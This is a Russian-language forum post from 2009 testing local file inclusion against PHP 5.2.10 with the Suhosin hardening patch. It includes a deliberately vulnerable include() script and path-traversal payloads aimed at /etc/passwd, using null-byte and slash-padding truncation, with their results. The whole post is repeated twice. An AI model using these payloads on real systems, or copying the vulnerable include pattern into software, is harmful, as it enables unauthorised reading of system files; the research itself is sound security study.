(Dm)
22.11.2009, 22:15
PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28
suhosin - advanced protection module for php5
В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)
Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (
Скрипт (обычный LFI):
<pre>
<?php
if (isset($_GET['p'])) {
echo "PATH: ".$_GET['p']."\n";
include("./".$_GET['p'].".txt");
} else {
echo "Переменная не определена\r\n";
}
?>
</pre>
Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.
1. test.php?p=../../../../../../../etc/passwd
Результат:
PATH: ../../../../../../../etc/passwd
Failed opening './../../../../../../../etc/passwd.txt'
2. test.php?p=../../../../../../../etc/passwd%00
Результат:
Переменная не определена
3. test.php?p=../../../../../../../etc/passwd//////[4096]/////
Результат:
Переменная не определена
4. test.php?p=../../../../../../../etc/passwd//////[1024]/////
Результат:
Переменная не определена
5. test.php?p=../../../../../../../etc/passwd//////[512]/////
Результат:
Переменная не определена
Если объявить переменную:
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.
PS если что-то не так поправьте
suhosin - advanced protection module for php5
В обычном PHP, без Suhosin патча, null byte работает при magic_quotes_gpc = OFF, но не работает замена null byte (////[4096]////)
Провел исследование для PHP 5.2.10-2ubuntu6.1 with Suhosin-Patch 0.9.28 и оно не очень так сказать хорошее (
Скрипт (обычный LFI):
<pre>
<?php
if (isset($_GET['p'])) {
echo "PATH: ".$_GET['p']."\n";
include("./".$_GET['p'].".txt");
} else {
echo "Переменная не определена\r\n";
}
?>
</pre>
Результаты при magic_quotes_gpc = OFF и magic_quotes_gpc = ON не отличаются.
1. test.php?p=../../../../../../../etc/passwd
Результат:
PATH: ../../../../../../../etc/passwd
Failed opening './../../../../../../../etc/passwd.txt'
2. test.php?p=../../../../../../../etc/passwd%00
Результат:
Переменная не определена
3. test.php?p=../../../../../../../etc/passwd//////[4096]/////
Результат:
Переменная не определена
4. test.php?p=../../../../../../../etc/passwd//////[1024]/////
Результат:
Переменная не определена
5. test.php?p=../../../../../../../etc/passwd//////[512]/////
Результат:
Переменная не определена
Если объявить переменную:
$_GET['p'] = "../../../../../../../etc/passwd\x00";
Работает
$_GET['p'] = "../../../../../../../etc/passwd///////[4096]//////";
Не работает.
PS если что-то не так поправьте